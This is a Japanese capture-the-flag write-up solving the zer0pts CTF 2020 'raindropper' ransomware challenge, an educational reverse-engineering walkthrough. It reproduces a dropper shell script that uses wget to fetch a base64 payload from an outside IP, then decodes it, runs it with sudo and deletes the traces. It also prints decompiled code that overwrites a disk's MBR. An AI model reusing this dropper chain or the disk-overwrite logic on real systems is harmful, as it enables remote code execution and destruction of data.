[zer0pts CTF 2020] raindropper

When you're infected with a ransomware: Don't send money. Just break the cipher by yourself.

The attached file may harm your computer. DO NOT RUN IT on your host machine.

解説

渡されたバイナリはgo言語製でした
この時点でバイトコードを読むのは諦めてstraceで処理を追うことにしました

23:00:21.818592 getpeername(5, {sa_family=AF_INET, sin_port=htons(8033), sin_addr=inet_addr("13.230.161.88")}, [112->16]) = 0
...
23:00:21.819688 write(5, "GET /raindrop HTTP/1.1\r\nHost: 13"..., 107) = 107
...

どうやら http://13.230.161.88:8033/raindrop をダウンロードしているようです
落としてきたraindropを見てみると

#!/bin/bash
if [ "$(whoami)" != "ImSureItsOnVM" ]; then
    echo "****** zer0pts CTF 2020 ******"
    echo "*                            *"
    echo "*   You're not our target!   *"
    echo "*                            *"
    echo "******************************"
else
    wget -nv -O /tmp/.malchan http://13.230.161.88:8033/malchan 1> /dev/null 2> /dev/null
    cat /tmp/.malchan | base64 -d > /tmp/.malchan.bin 2> /dev/null
    chmod +x /tmp/.malchan.bin 2> /dev/null
    sudo /tmp/.malchan.bin 2> /dev/null
    rm -f /tmp/.malchan.bin 2> /dev/null
    rm -f /tmp/.malchan 2> /dev/null
    rm -f /tmp/.raindrop 2> /dev/null
fi

今度は http://13.230.161.88:8033/malchan をダウンロードし、base64デコードしているようです

このmalchan.binがマルウェアの本体です
32bit ELFなのでGhidraで調べてみましょう

void FUN_0804830f(void)
{
  int __fd;
  ssize_t sVar1;
  undefined *puVar2;
  byte abStack512 [512];

  puVar2 = &stack0xfffffdf8;
  __fd = open(s_/dev/sda_0804a028,2);
  if (-1 < __fd) {
    puVar2 = &stack0xfffffdec;
    sVar1 = read(__fd,abStack512,0x200);
    if (sVar1 == 0x200) {
      FUN_08048367(abStack512);
      lseek(__fd,0,0);
      write(__fd,abStack512,0x200);
      close(__fd);
      return;
    }
  }
  *(undefined4 *)(puVar2 + -4) = 0;
                    /* WARNING: Subroutine does not return */
  *(undefined4 *)(puVar2 + -8) = 0x8048398;
  exit(*(int *)(puVar2 + -4));
}

/dev/sdaに対して512Bのデータを書き込んでいます
ディスク先頭の512Bを使うものといえばMBRのIPLですね

実機でやるのは流石にマズいので、vmを用意して発火させてみました
raindropper_burst

IPLを乗っとられているので、起動時にflagを求められました
0.1BTC(≒80000円)も払えないのでMBRのIPLを解析していきましょう

MBRのIPLは互換性の為に16bitモードで動作するので、当然このバイナリも16bitバイナリです
Ghidraにx86の16bitバイナリとして逆コンパイルしてもらうと割り込み処理の他に以下のルーチンが見つかります

undefined2 __cdecl16near FUN_0000_0041(void)
{
  byte *pbVar1;
  byte bVar2;
  int cnt;
  byte *input;
  byte *key;
  undefined2 unaff_ES;
  undefined2 unaff_DS;

  bVar2 = 0;
  input = (byte *)0x1a7;
  key = (byte *)0x17d;
  cnt = 0x29;
  do {
    pbVar1 = input;
    input = input + 1;
    bVar2 = *pbVar1 + bVar2;
    bVar2 = bVar2 >> 1 | bVar2 * -0x80;
    pbVar1 = key;
    key = key + 1;
    if (bVar2 != *pbVar1) {
      return 1;
    }
    cnt = cnt + -1;
  } while (cnt != 0);
  if (*input != *key) {
    return 1;
  }
  return 0;
}

あとはIPLから0x17d以降の41Bを、このルーチンの逆関数にかけるだけです

#!/usr/bin/env python3
def rol(x):
    return ((x << 1) + ((x & 0x80) // 0x80)) & 0xff

e = list(map(lambda x: int(x, 16), "3D 51 E1 88 7C 78 F5 38 45 45 4C 50 D7 10 2F 47 4D CE 87 67 D7 0E 31 C2 85 72 60 D2 14 AC 7F 6F DA 94 73 5D 51 D2 13 2E D5".split()))
o = []

o.append(chr((e[0] << 1) + ((e[0] & 0x80) * 0x80)))
for i in e[1:]:
    o.append(chr((rol(i) - e[len(o) - 1]) & 0xff))

print(''.join(o))

zer0pts{REST_IN_SPAGHETTI_NEVER_FORGETTI}

余談

このマルウェアを発火させても、EFIブートの場合は正常に起動するみたいです
IPLの位置の違いが原因でしょう